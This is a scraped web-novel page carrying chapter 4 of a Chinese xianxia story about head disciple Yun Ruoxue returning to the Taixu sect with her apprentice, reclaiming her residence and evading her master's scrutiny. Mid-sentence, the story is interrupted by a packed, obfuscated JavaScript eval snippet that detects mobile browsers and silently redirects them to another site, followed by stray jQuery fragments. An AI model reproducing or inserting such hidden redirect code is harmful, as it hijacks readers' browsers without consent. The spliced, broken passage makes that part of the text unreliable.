默认冷灰
24号文字
方正启体

4. 让她担心的

作者:半阙风月本书字数:K更新时间:
    另一边。


    亘白脱离出被修士重重包围的环境,顿觉一身轻松,竟左顾右盼,跟闯入市集的猴子一般打量起周遭的建筑与风景。


    太虚宗景物相宜,剑山拔地而起,独居高处,俯瞰群峰。丛峰绵延似盘龙,数不清的楼阁点缀其中,丛林中飞禽走兽,啼鸣不绝。


    “跟上。”云若雪微微侧身,冷眼扫过。


    “知道了知道了。”他连连应声,浑身没个正形,“师父可真是好大的派头,历练回来竟有这么多人迎接。”


    云若雪脚步一顿,没吭声,继续向前走。


    她如今是真有些相信这人说的“失忆”,也是真的从未听过她的名讳,才敢在初见她亮出身份时候依旧对她下手。


    当年。


    长夷谢氏满门被灭,谢晟年少,受全族托举才得以逃生。


    他们萍水相逢,识于微末。


    她一路陪伴谢晟左右,躲避仇敌追杀,数次死里逃生,直到谢晟名扬四海,报仇雪恨。


    后来二人回到长夷故地,共同建立太虚宗,召回旧部,振兴势力,一路发扬至今。


    若非她天生一副凡人骨,在修炼上实在是没什么天赋,无论如何修为都上不来,说不定还能混个掌门当当。


    不像如今,只能挂在谢晟名下,是首徒,也是宗门首席弟子。


    虽然这太虚宗上下大小事务她都有安排差遣的权力,也将诸多纷繁复杂的事宜打理得井井有条,在众弟子眼里,身份地位较掌门也不遑多让。


    当然,这都是三年前的事了。


    至于日后……


    她别有一番安排。


    思忖间。


    三年阔别,重游故地,云若雪沿着熟悉的小径向前走,周遭风物,一草一木,看起来与往日并无不同,又好似处处都不一样。


    “大,大师姐……”


    路上碰见门中弟子,见了她纷纷侧目,相互间交换着晦涩的眼神,在平静的海面下暗潮涌动,低声耳语两句就匆匆离开,好似生怕被她盯上。


    云若雪脚步一顿,山风刮起衣袂烈烈,吹乱了青丝如瀑,她微微蹙眉,努力想听清他们的话,又囿于修为损耗,实在听不清,只得目不斜视继续向前走。


    止住脚。


    “到了。”


    “到了?”亘白仰头惊叹。


    跟前是一座独立的院落,青黛色的砖瓦顺着墙头起伏,檐角的龙形脊兽鳞爪分明,瓦当扣合处的云纹在日头下泛出浅灰光泽,远远望去,便真如一条栩栩如生的游龙。


    院中枝叶连绵,越过墙头漫出来,一片繁荣景象,日光坠地,漏下的光斑在青石板上晃成流动的碎金。


    高耸的楼阁殿宇就隐匿在那一片翠色当中,半遮半掩,伸出一抹飞檐,在一片风声叶片摩擦的簌簌声里,偶尔而会传来几许风铃声。


    整个院子乍看起来素雅清幽,于细处才知处处雕琢,精心呵护。


    云若雪抬手触上院落结界,心里默念出熟悉的法诀。


    结界不为所动。


    嗯?


    她收了手,又重新试过好几次,还是进不去。


    “你不是住这儿吗?”亘白挠挠头,看着云若雪试了又试,不期然对上眼神,便是二脸茫然。


    身后传来怯怯一道声音,“师,师姐……”


    云若雪回身看,逆着日光,漆黑的面具遮住白玉般的脸,只露出一双凌厉的眸子,顿时教主动靠上来的两个小弟子心生退意,瞬间联想到曾经被眼前的首席弟子狠狠鞭策要努力修炼的时光。


    “怎么了?”


    她目光如浮光掠影,飞快从两个弟子身上飘过,却依旧极具压迫感,两个小弟子嘴唇翕张,正要开口——


    忽而听闻身后传来脚步声,连忙一左一右侧开身,让出道路来。


    正正是云若雪那三个师弟师妹。


    “师,师姐。”乌鸿身形一僵,看云若雪站在院落前,被软韧的结界拦在门外,还有什么不明白,顿时心虚起来。


    “怎么回事?”她冷声质问。


    先前那两个小弟子见情况不对,生怕殃及池鱼,一溜烟跑了老远,退到众人身后,眼里又迸发出好奇的光芒,舍不得将脚挪到最佳吃瓜范围之外。


    乌鸿入宗门时正是年少,那时师兄谢铮和师尊谢晟都忙着闭关修炼,往往在洞府中一待就是三两个月,出关的时间也很短暂,根本没工夫搭理他,因而他最先是跟在云若雪身边修行。


    现在回想起那些日子,云若雪对人对事都极为严苛,对自己更严苛,在她手下的弟子常年怨声载道,还不敢轻易发作。


    虽然后来谢铮与谢晟陆续结束闭关,他修为上涨,渐渐有超过云若雪的趋势,因而便改换师长,跟着他们二人修炼。


    但而今三年不见,一时陌生,忽然对上云若雪冷冰冰的眼神,立马勾起了他“不堪回首”的记忆,下意识心尖一抖,忙不迭后撤半步,以谢铮为掩体,轻轻将他推出去,“师兄,你来说。”


    谢铮嘴唇翕动,气氛一时凝固。


    云若雪瞧了眼面前的三人便已猜到了事情的真相,目光定定落在江丛莹身上,抱臂而立,确是对着二师弟谢铮发难,“说吧。”


    “小师妹当初体内余毒未消,师姐的院子是宗门中灵气最盛的地方,小师妹在这儿养伤也方便些……”


    她闻言不置可否,拉了把站在一旁默默装死人,全程看戏的亘白,侧开身,将宽阔气派的朱色大门让出来,伸手遥遥一指。


    “既然我回来了,那就去从哪儿搬来的就搬回哪儿去吧。”说着,她蹙了蹙眉,补充道,“动作麻利些。”


    她不太喜欢旁人动自己的东西,但这院子确实是宗门内灵气汇聚的风水宝地,在这儿修炼事半功倍,她绝不可能轻易放手。


    江丛莹一拂袖,结界洞开,门扉晃了晃,金色门环口叩击出清脆的声响,向内缓缓亮出一条道。


    “师姐,这院子我住了许久,其中物件一时半会儿清点不出,可否……”


    云若雪不耐打断,“何时轮到你对我指手画脚了?”


    此言一出,已是极尽刻薄。


    江丛莹自东州来,千里迢迢拜师谢晟,背井离乡,原本是泾谷江氏里千娇百宠的大小姐,从未听过一句难听的话,而今居然在众目睽睽之下被人这般呵斥。


    “师姐!”乌鸿连忙将小师妹护在身后,“当初本就是你下毒……”


    话音未落。


    不远处传来一道呵斥,“住口!”


    云若雪身形一顿,放下环抱的手臂,脸上不耐且烦躁的表情消散无踪,朝着声源处看去,一眼便在人群中瞧见了三年不见的好友。


    一对上眼神。


    孟檀还是熟悉的装束,深紫色的弟子服,宽袍华服,绣着凶兽暗纹,狰狞肃穆。束腰收紧,衬得她身高腿长,眉眼立体且精致,又冷又艳,胜过隆冬的寒梅。


    腰间只简简单单挂着一枚戒律堂的身份牌,更是教人轻易不敢靠近。


    她急匆匆掠过人群跑上前来,推开眼前碍手碍脚的三个剑尊弟子,围着云若雪上下打量,看了又看,眉头皱得能夹死苍蝇。


    出门一趟,她这好友不仅瘦了一圈,周身修为更是大受折损,也不知受了多少伤,遭了多少罪,连护体的法衣都烂了,灵气溃散,沦为废品。


    而且——


    她总觉得云若雪周身气息怪怪的,却说不出到底是哪里出了问题,想进一步查探,但众目睽睽之下难免冒犯到隐私,只能一脸狐疑地收回目光。


    从始至终没工夫理会旁边多出来的亘白。


    一回身,狠狠瞪向乌鸿。


    “尊上早就说过,旧事翻篇,当年之事宗门上下不许有人再私下议论。乌鸿,别以为尊上闭关就没人能收拾你!”


    乌鸿还想争辩两句,云若雪却不愿再听,摆摆手。


    “行了,院子的事……我给你们三天时间。”她看了相较于三年前陈设大变样的院落,简直糟心,眉头又皱起,到底没说重话,“三天后给我恢复原样。”


    说罢,她懒得再多看那三人一眼,拽上便宜徒弟便跟孟檀一道离开。


    亘白一脸莫名,被人拉着来又拉着离开,完全处在状况外。


    这一路,云若雪冷心冷清,对谁都不假辞色,有时候甚至称得上冷酷绝情,现下居然冒出来个女修,难得能让她给几分好颜色,实在是稀奇。


    人走戏散,那些站在角落里远远朝这边张望的仙宗弟子们见人走了,也三三两两跟着散了。


    本以为能看到两拨人“切磋”一番,真是白等一场。


    故友久别重逢,云若雪和孟檀两人都心情明快。


    有一搭没一搭地聊起来。


    “可终于舍得回来了,咱们太虚宗的首席大弟子,再晚一点我还真担心你死在外面。”


    孟檀絮絮叨叨说着,“你说你,当年就算留在暗狱中,旁人也不敢拿你怎样,就当是闭关修炼一段时间……”


    “再看看如今,出去一趟,修为都折损得差不多了……这门中随便一个弟子拎出来怕是都能把你按在地上打。”


    “好了好了。”云若雪抬手打住,对好友啰嗦的嘱咐实在无力招架,半笑着,只是笑意被脸上的面具遮去,便显得她话中别有深意,“你知道我此次下山是为了什么。”


    “这……”孟檀面上神情一僵,眸光晦涩,瞥向一路被二人晾在一边的亘白,又迅速恢复成云淡风轻的模样。


    “出去一趟就带个人回来,不让我认识认识?”


    “亘白,我新收的徒弟。”


    “哦哟,那这不就是我的师侄吗。”孟檀眉梢一挑眉,做出一脸惊喜的表情,“亘白,亘师侄,日后在这太虚宗就报我孟檀的名字,保你横着走。”


    “那晚辈先谢过孟师叔了。”亘白回以微笑,咬牙切齿才说完这句话。


    能跟云若雪这种女魔头凑在一起的能是什么好人!


    云若雪领着二人穿过重重高墙墙,掠过数不清的宫殿和院景,步步攀上石阶。


    “三年不见,你倒学会以权谋私了。”


    “不以权谋私怕是要被那些仗势欺人的人给欺负了去。”


    孟檀三两步追上她,二人比肩前行。


    三年前,云若雪前受到处罚,自请下山历练,后脚琼华院便被人占了去,她出言反对,到几个长老跟前上书抗议。


    到底胳膊拗不过大腿,比不上仙尊的亲传弟子有话语权。


    几人行至高处。


    一抬头,遥遥望见一座白玉般的楼宇,日光下浸润在柔和的光辉里,就那么孑然矗立,仿佛落入碧海的明珠。


    “你怎么来这儿了?”孟檀喃喃一句,忽然反应过来,“住不了琼华院,你居然想跑到灵泉宫来!”


    “不行吗?”


    “可,可以吧……”她难得结巴了一回。


    这太虚宗上下,虽说琼华院是峰中灵气最盛之地,但那仅仅是相较于宗门中众多弟子和长老的寝殿居所而言。


    至于灵泉宫……


    一池万年灵泉水集天地之精华,流淌滋养,在那一方小天地里独独构造出一片福地洞天,门中无数弟子趋之若鹜,却是连靠近都不得。


    只有极少数天骄,为宗门做出巨大贡献,或是碰上好几个宗门间大比切磋,夺得魁首者才可进入其中修炼。


    “是谁方才说的,不以权谋私就要被人欺负,你也该知道我不是个能吃亏的人。”


    孟檀闻言讪讪一笑,“那当然,您可是这宗门上下的首席弟子,有尊上特批,区区灵泉宫,还不是想进就进!”


    说着,她连忙挽上云若雪的胳膊,一脸狗腿。


    “那云首席,可否带小的进去开开眼?”


    云若雪扶额,受不了她浮夸的表情。


    “走吧,别忘了派人去琼华院催促催促,我可不想三天后还被人占着院子。”


    “遵命!”


    她恨不得给久别而归的好友磕一个,立马便掐诀传了口信,吩咐戒律堂的小弟子前来催促,生怕“财神爷”责怪办事不力。


    云若雪哑然失笑。


    灵泉宫啊……


    这宫殿里的灵泉水还是她当年随谢晟四处奔波流离时偶然所获,一直小心收存着。


    后来建造起太虚宗,才开辟出了这一方宫殿,修得外观华丽,飘逸灵动,将灵泉水存放于此,供有天赋的弟子修炼所用。


    那时候她太笨拙,生就一副凡人骨,于修炼上处处是桎梏,处处有瓶颈,琼华院那充沛的灵气就够她用了,甚至算暴殄天物,到灵泉宫来也是无济于事。


    因而她从未动用过这项“特权”。


    从今往后,再也不会了。


    她抬手亮出身份牌,看护在此的两个弟子左右交换眼神,不敢阻拦,恭恭敬敬拱手行礼,“参见大师姐。”


    他们值守在此,方才听闻钟声响彻山谷,徘徊于楼宇之间,正好奇不知是哪位长老弄出的阵仗,没料到原是外出三载的宗门首席回来了。


    结界洞开。


    云若雪光明正大带着两人进去。


    “你怎么把他也带进来了?”孟檀瞥了眼亘白,颇为不恁。


    她跟云若雪多年的生死交情,都少有能让对方破例带她进来的,这死小子,才刚到太虚宗一天呢就占这么大个便宜!


    既没有修炼基础,一副凡人之躯,又没有拜师大典,没被堂堂正正纳入宗门名册。


    “行了,快跟上。”云若雪朝她招手。


    “好嘞!”


    踏入殿中。


    一股清风挟浓郁的灵气扑面而来,深呼吸一口气,顿时解了一身疲乏,仿佛浸在温水里,全身上下每一寸肌肤都得到滋养。


    孟檀兴奋得头皮发麻。


    她可太想到这儿来修炼了,却又次次抢不到名额,这跟饥肠辘辘时一块肥肉摆在前面却不能吃有什么区别!看到得不到,简直让她抓心挠肝。


    云若雪一步步朝里走。


    汉白玉铺成地砖,雕花篆草,微浅的刻痕在地面上绘制出复杂的纹路,灵气浓郁到几乎凝结成实质,白雾一般从地面缓缓冒出。


    正殿中雾气缭绕,仿若人间仙境。


    午后阳光斜斜从窗棂漏进来,光线路径清晰可见,直直落到地上,勾勒出菱形的光斑,在一片浮沉的水雾之间,光影流动,碎金摇晃。


    她在修炼上从来都刻苦远超旁人,哪怕囿于这一副躯体,也一日不曾懈怠。


    此刻,一踏入殿宇中,躯体便下意识调动周遭灵气,一呼一吸,一举一动,都在疯狂补偿往昔岁月里那些不甘的挣扎,得偿所愿。


    不过片刻,便恢复了修为。


    亘白虽觉神清气爽,到底没被太大的反应,毕竟他修为已废,如今凡人一个,也不敢在这太虚宗内贸然重修邪道。


    万一云若雪也保不住他,那就是真的自寻死路,买一送一。


    只是这殿中的装潢让他大开眼界。


    正殿中央悬着盏琉璃灯,灯架镂空,雕琢得极其精美,枝叶交缠,镶嵌着薄如蝉翼的玉髓,日光透过,映射出斑斓的虹彩。


    “快走吧。”云若雪一句话拉回正失神的孟檀和亘白。


    “走?去哪儿?”孟檀呆呆愣愣的,仿佛被刚被人夺了神魄一般。


    她往昔也进来过几次,但都是浅尝辄止,堪堪停在宫殿入口处,没再深入……


    今日,莫非云若雪还想带她多参观参观?


    思及此,她顿时眼前一亮。


    “走走走!马上走!”


    殿宇中回廊百折,透明的水晶折射出三人的身影,拉长了体型,光影模糊万物,愈发显得神秘飘忽。


    云若雪熟门熟路,明明是不常来的人,明明三载未归,却像是在这儿走过千百遍,悠悠然领着两人越过重重紧闭的门扉。


    止步于一隅。


    取下腰牌,注入灵力,验证身份。


    便听轰然一阵响,玉白色大门缓缓开启。


    孟檀仰头看去,墨玉牌匾上镌刻“经阁”二字,一笔一划,工工整整,就是这字迹略显……稚嫩,还有些,嗯,熟悉?


    “咱们太虚宗不是有藏经阁吗?这里面居然还藏着一个?”孟檀面上疑窦丛生,忽然灵光一闪,一拍脑袋,“这牌匾不会是你写的吧?我说怎么这么难看!”


    云若雪咬咬牙,深呼吸一口气,没搭理她。


    “确实是有些……”


    亘白正想随声附和,倏然,云若雪冷眼扫过,他顿时一个激灵,非常识时务地转变话锋,“确实是有些独特,独特好啊,独特好……”


    云若雪收回目光,率先跨过门槛。


    经阁内部空间宽阔,玉石凿刻的旋转楼梯层层攀援向上,似一条白纱从天际坠落,以一个优美而流畅的弧度构造出一面恢弘的场景。


    四壁墙面高耸,同样内嵌书架,一丛丛玉石格子密密麻麻排布,和矗立在地面上的书架共同铸就一副奇观。


    孟檀倒吸一口凉气,屏息凝神。


    这……这灵泉宫经阁的规模,可丝毫不比宗门中那专门的藏经阁小。


    云若雪飞快从排排架子里找出一本功法,一扬手,玉卷砸入亘白怀中,他胳膊一痛,手忙脚乱才接住。


    “做什么?”


    “拿好,跟上。”


    说罢,她快步绕过书架走向一道暗门,触碰机关,嵌在墙上的书架左右两边打开一条通道,通道两边是两排独立的静室,左右各三间,门扉紧闭。


    云若雪随手推开一扇门,抬手指了指,亘白下意识踏入其中。


    “一本基础功法,你拿着,自己练。”


    说罢,她就欲关门。


    “唉,等等等等——”亘白忙不迭伸手,一只手扒着门框不放。


    心里千言万语就想脱口而出,可一对上云若雪冷淡的眼神,余光中孟檀的影子晃了几晃,便是压迫感十足的存在,顿时哑口无言。


    这简直就是“绑架”!


    却是他与云若雪的合谋。


    他永远不会拿自己的命去赌,只能忍下。


    “怎么了?”云若雪瞧着他,面具下唇角微勾,眼里似笑而非,难得的坏心眼。


    “没事。”亘白咬牙切齿,攥着玉卷的手指咯咯作响,“多谢师父赐教,徒儿一定好,好修炼,绝不辜负师父的一片心意。”


    房门阖上。


    隔着逐渐变窄的门缝,亘白一双眼狠狠瞪向她,恨不能眼神可以杀人。


    云若雪视而不见,神色淡定引着处在状况外的孟檀穿过两旁的静室。


    复行数十步,豁然开朗。


    孟檀这一路上已经看呆了,再见到什么也不会觉得惊奇。


    支立的鹤形灯盏中火光跳动,灯下摆着一张长长的寒玉桌,案面光可鉴人,铺开几张雪白的宣纸,墨锭斜斜搁在砚池边,砚台边缘墨痕已干涸。


    博古架和白玉屏风隔开空间,各类摆件和功法卷册杂乱堆砌,一旁的花瓶里斜插着一枝腊梅,早已经枯黄凋敝,花瓣三三两两洒落地面,香气也散了。


    “坐。”云若雪指了指对身的蒲团,先席地而坐。


    孟檀抬手摸上玉石案几,质地温润,左顾右盼,一时新奇。


    “这花瓶里的花都谢了。”


    “它本非灵物,就是待在这儿也开不长久。”


    她这话回复得别有深意,不知是在说花还是在说人。


    孟檀一愣,听出她的弦外之音,笑着岔开话题,“罢了罢了,不提什么枯萎的梅花,你还没跟我好好交待这三年到底发生了什么。”


    话到此处,她略微停顿,犹犹豫豫才接着说道:


    “你此次上山,我总感觉不太一样……还有那个小徒弟,你怎么会忽然收徒?”


    以她对云若雪的了解……


    一天到晚十二个时辰,她恨不得十一个时辰都用来修炼,若非身为首席弟子职责不可推卸,根本不愿意搭理宗门里那些耗神费力的事,哪里会自找麻烦给自己收个徒弟带在身边?


    云若雪却只是摇摇头,将身前的宣纸规整到一边,“阿檀,你该知我下山的目的,他就是我要找的……‘劫’。”


    说不上来的感觉——


    只是在那狭窄的山洞中,他们彼此算计却不得不以神魂做赌注,被迫绑在一起的时候……她好似得到了什么启示,整个人都兴奋起来。


    以至于她事后回想,无比确信。


    就是他。


    “什么劫?”孟檀音量拔高,惊愕不已,“他不过区区一介凡人,怎么可能……你何必听当初那疯老婆子胡言乱语?”


    云若雪垂眸思索,不为所动。


    孟檀知她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128437|180164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最擅一意孤行,难免急切,“若雪,命数天定,你可知你会冒多大的险?”


    “像以前一样不好吗?这太虚宗上下,看在仙尊的面子上,无人敢冒犯你……”


    “好了!”云若雪蹙眉打断,“这不是我想要的。”


    下一刻,抬手指向案几旁的花瓶,“那株折下的腊梅本非灵物,就算留在这灵气充沛的灵泉宫,也终究有凋落的一天。”


    “可……”她犹豫了。


    “我生来一副凡骨,如果没有年少时那场意外……永永远远,我只会是一个普通的村姑,按部就班走完凡人短暂的一生。永永远远不会知道山外有山,不会窥见大道如青天。”


    云若雪轻轻一叹,“可是,这老天偏偏让我见到了。我怎么可能甘心……”


    “我耗费了上百年的时间验证,好像无论怎么勤勉,日夜不辍,都不及旁人随随便便的参悟来得轻而易举……但我还是不甘心。”


    如果旧日她是朝生暮死的蜉蝣,是蝼蚁之辈,命如草芥,任人摆布。那么往后,要她怎么甘心?她也不可能甘心。


    孟檀静静望着她。


    望进她藏在面具下那双熠熠生辉的眸子。


    永远不屈不挠。


    “罢了,我劝不住你。”她收回案几上的手,藏进沉紫色袖子里,紧绷的身体松懈下来,不再强求,“那你总该跟我交待交待那亘白的来历……你们是怎么碰上的?”


    云若雪摇摇头,不愿多言。


    “好好好,什么都不告诉我。”孟檀翻了个白眼,半开玩笑着,“那你打算什么时候办个拜师仪式,将他的名字纳入宗门名册,篆刻弟子牌?”


    云若雪微微一愣,略一思索,也想不出个结果,含糊道,“等过几天再说吧。”


    终于,她想起了自己还有个师父。


    “师父这几日又闭关了吗?”


    “你说仙尊啊,他三年前就闭关了。”孟檀一摊手,耸耸肩,“就在你下山没多久,宗门内风言风语甚嚣尘上,他下令不许有人再谈,后面剑山峰顶落了结界,剑气比以前简直凶悍不知道多少倍,就是如今,望云殿也是谁都靠近不了。”


    云若雪点点头,没有多余的反应。


    她与谢晟一路相互扶持走到而今,虽数次同生共死,但却并无多深厚的感情。他能出面帮她说说话,已是难得。


    “当初那件事也是邪门得很,江丛莹……何必如此?”


    孟檀始终想不明白。


    当年,江丛莹刚拜入师门不久,又是东州江氏嫡系,千娇百宠的大小姐,何必要诬陷云若雪……可她清楚,云若雪绝不是那种会下毒戕害同门的人。


    若非要说这一切是场误会,那更是不可能。


    板上钉钉的证据摆在眼前,每一个都那么准确无误地指向宗门首席,若说不是有人设计陷害,哪里会有这样的巧合?


    云若雪摇摇头,不愿再提当年事。


    “三日后,等琼华院整理出来,我住回去……拜师一事,也一并安排了吧,让宗门内几个长老做个见证就好。”


    “等等?”孟檀一惊,“你还真准备收他为徒啊?”


    云若雪抬眸看她,一脸“那不然呢”的疑惑表情。


    “他不是……”


    云若雪打断,“正因如此,我才要应这个‘劫’。”


    孟檀嘴唇一张一合,半天说不出话来。


    最后只能顿首,吐出两个字,“随你。”


    人都已经带回来了,有些事是挡不住的,云若雪也不是个听劝的人,她于这一时一地从中阻挠也没有意思,倒不如放手……


    天道有情,自不会让云若雪那般执著刻苦的人怀抱遗憾。


    而她唯一能做的,就是静静看着,必要时拉她一把。


    “出门是静室,经阁的藏书任君取用,自便吧。”云若雪抬手指了指出口,“只有三日,你可得抓紧时间。”


    孟檀思绪顿时回笼。


    也管不得什么劫难,什么收徒了,慌慌张张站起身,急得直跺脚,“就不该跟你说这么多,浪费时间!”


    匆忙丢下一句,“走了!”


    摆摆手,紫色人影一晃,如一阵风般飘远了。


    远远的,连半分衣角都望不见,只剩下紧闭的门扉。


    一室寂静。


    云若雪站起身,指尖缓缓冒出一簇云雾般的灵力,在白皙修长的指尖聚拢又分散,任由她漫不经心把玩。


    抬手,在这方小天地里落下结界,隔断外界的干扰和窥探。


    重新回到案几前,屈膝坐下,唤出一面水镜。


    摘下面具,脸上的尸斑早没了,只是面具本身不太贴合面部轮廓,在她鼻梁上留下了一道压痕,浅浅的月牙形,嫩生生的,印在白皙上的皮肤上显得格外眨眼。


    “铿——”


    门口一声清脆的响动。


    是谢晟!


    她心尖猛地一颤,水镜溃散成沫,蒸发般消失。


    惊慌中她下意识重新戴上面具,匆忙站起身,又踩到了裙摆,膝盖重重撞上案几,痛倒是不痛,只有一阵沉闷的感觉。


    顾不得其他,忙不迭挥手解开拦在门口的结界,垂首行礼,“师父。”


    谢晟只携一股冷冽的寒风踏入。


    没得到回应,云若雪直起身,抬眼看去。


    正正撞上仙尊的目光。


    斯人如玉,挺拔颀长,细看,却更像一柄锋芒难掩的利剑,裹在翩翩道袍里,白衣胜雪,往那儿一站,便教人不敢僭越,不敢直视。


    三载未见,他还是跟从前一样,一双琉璃色的眸子,颜色极浅极淡,漫不经心扫过周遭一切,从来不会在某一个人或物上驻留。


    只是此刻似乎较之三年前更冷清,更疏离。


    “脸怎么了?”谢晟嗓音略有些沙哑,大抵是刚刚从闭关的洞府出来,还未在路上与旁人说上话。


    “无事。”云若雪缓缓轻呼出一口气,暂时松懈下浑身戒备,向后退一步,抬手引谢晟到案几前坐下,姿态恭敬。


    相对而坐。


    云若雪早已平复好心绪,缓缓摘下面具。


    谢晟目光在她鼻梁边上的月牙印记上停滞一瞬,流动向堆砌在蒲团周围的裙摆,却被低矮的案几遮住视线,眉头微不可察一蹙。


    “怎么弄成这样?”


    云若雪一头雾水,直到发现谢晟的目光落在自己周身跟乞丐差不多的装束上,才反应过来,语气轻松,“路上遇到些意外,都解决了。”


    谢晟闻言眉头皱得更紧。


    他面上一向无甚表情,教人难辨心绪,尤其在报仇雪恨,名扬四海后,褪去了少年人的意气,内敛沉稳了许多。


    此刻却是毫不掩饰的不悦。


    云若雪不知他哪里冒出来的脾气,简直莫名其妙。


    自己这身装束狼狈是狼狈了些,但以前狼狈的时候可比现在狼狈多了,为了躲避仇敌追杀,混在街边乞丐堆里都是常有的事。


    这是在矫情什么?


    “为何不唤凌云?”


    “都是小事,弟子可以应付。”云若雪捏着自己的手指,心里松懈的弦又紧绷起来,暗自戒备。


    她是可以召唤谢晟的凌云剑寻求庇护,可惊动眼前之人,又怎么能有她如今的奇遇?成为傀儡的每分每秒,她都只觉一股源自灵魂深处的战栗、欢欣和兴奋。


    谢晟默然,这个回答完全在他意料之内,半晌,他不再深究,话锋一转,“去药峰找长老看看,一会儿我遣人送些东西到琼华院。”


    “不必了!”


    云若雪闻言惊得汗毛倒竖,去药峰?见长老?那不是妥妥的自爆吗!太虚仙宗,名门正派,怎么容得下她这般剑走偏锋,偏入歧途?


    她忙不迭起身,抬手送客。


    “多谢师尊关心,师尊刚刚出关,想必门中还有大小事宜等着需要决断,刚刚薛长老还在向弟子打听……您不如前去看看。”


    谢晟一愣。


    未等他反应,却被云若雪三两步绕过案几,半拉着胳膊从绣金莲花纹蒲团上“扶”起来,三两下推着到门口。


    “师父,我看薛长老当时神态焦急,想必是有大事,您莫要耽误,速速去查看一番,弟子心里有数,就不劳您费心了!”


    话落,谢晟半只脚已被迫迈出门外。


    他回头一看。


    云若雪倚在门边,将入口挡了个严严实实,恭恭敬敬做出一个“请”的姿势,脸上挂起让人挑不出错的笑,敷衍又虚假,“师父,快去吧。”


    他被那笑容恍了神。


    一瞬间脑中浮现出无数个熟悉的画面,各种环境,各种衣着,各种形势,但好像从来……云若雪都是这样的笑,细节分毫不差,疏离,冷淡,心情永远不达眼底。


    门扉阖上,视线遮蔽。


    他只看了一眼,也看不真切,疑心是自己多虑,不过无谓的错觉。


    一回身,拂袖离去。


    云若雪脸上的假笑迟迟没有收敛,扶着门框,直到感知到那抹熟悉的气息彻底远去,才稍稍松口气,靠着墙缓缓滑坐到地上,闭目养神。


    她倒是不担心随口扯出来做挡箭牌的薛长老,毕竟戒律堂薛长老,孟檀的师父,那是出了名的喜欢“未雨绸缪”,一点鸡毛蒜皮的小事都想管理得井井有条。偏偏人又较真,刚正不阿,缠上了谁,那是轻易不会被甩掉。


    谢晟闭关三载,宗门内大小事务数不胜数,他虽鲜少搭理,但架不住长老热情。如今闭关结束,他不去找薛长老,薛长老听到风声都怕是要来主动找他。


    云若雪是不怕被拆穿的。


    让她担心的是——


    谢晟本身。


    谢晟本就出生世家,于修炼上天赋异禀,从小的修炼基础也牢靠,前些年为了复仇,勤勉不辍,后来建立太虚宗,也不曾懈怠,日积月累,法力不可谓不深厚。


    云若雪真怕对方肆无忌惮地认真窥探,那么她如今使用的小小障眼法不过是班门弄斧,轻易就能被识破。


    而她……暂时还不想离开这儿。


    太虚宗外面的世界竞争残酷,资源宝贵,留在这儿,她还能安安稳稳地修炼,不用流离亡命,浴血厮杀。


    她这些年为宗门殚精竭虑,鞠躬尽瘁,这些都是她应得的。


    睁开眼,她已恢复了冷静。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)